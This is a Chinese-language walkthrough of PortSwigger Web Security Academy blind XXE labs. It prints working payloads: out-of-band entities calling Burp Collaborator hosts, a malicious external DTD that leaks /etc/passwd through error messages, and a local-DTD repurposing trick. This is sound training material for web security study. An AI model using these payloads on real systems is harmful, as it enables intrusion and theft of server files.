https://portswigger.net/web-security/xxe/blind burpsuite平台的地址
首先进入这个页面后进行抓包
根据它的一个解决方案对于抓到的包中信息做一个修改
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net"> ]>
BURP-COLLABORATOR-SUBDOMAIN此内容修改为bp的collaborator client复制的二级域名:
nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net
修改后为:<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net"> ]>
复制到xml和stockCheck中间位置。
productId引用的编号修改为&xxe;
Blind XXE 通过XML参数实体进行带外交互
也是先进入实验室页面,随便找一个图片的了解详情进入,然后抓包。同样也是先看它的解决方法,先启动burp collaborator client,复制有效负载。发送到repeater
解决问题复制过来:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
有效负载:
yjlnxdgb5hnc1xf8swh1vgiyyp4fs4.burpcollaborator.net
修改后:<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://yjlnxdgb5hnc1xf8swh1vgiyyp4fs4.burpcollaborator.net"> %xxe; ]>
放在XML声明和stockCheck元素中间,然后send运行
利用盲注的XXE通过错误消息检索数据
进入实验室页面后,点击一张图片的详细信息,进行抓包,然后去漏洞利用服务器
然后复制dtd文件内容保存,并查看。
恶意的dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
复制查看漏洞利用的url
https://exploit-0a790082045efa67c0891ec5018000f7.web-security-academy.net/exploit
在访问一个产品,进行抓包:
同样是在xml声明和stockCheck中间插入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
修改后的:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a790082045efa67c0891ec5018000f7.web-security-academy.net/exploit"> %xxe;]>
利用XXE通过重新利用本地DTD来检索数据
进入页面后,访问产品,查看详情->Check stock,使用burpsuite抓包post请求
在xml声明和stockCheck中间插入:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这是导入YelpDTD,重新定义ISOamso实体,触发包含内容的错误消息/etc/passwd文件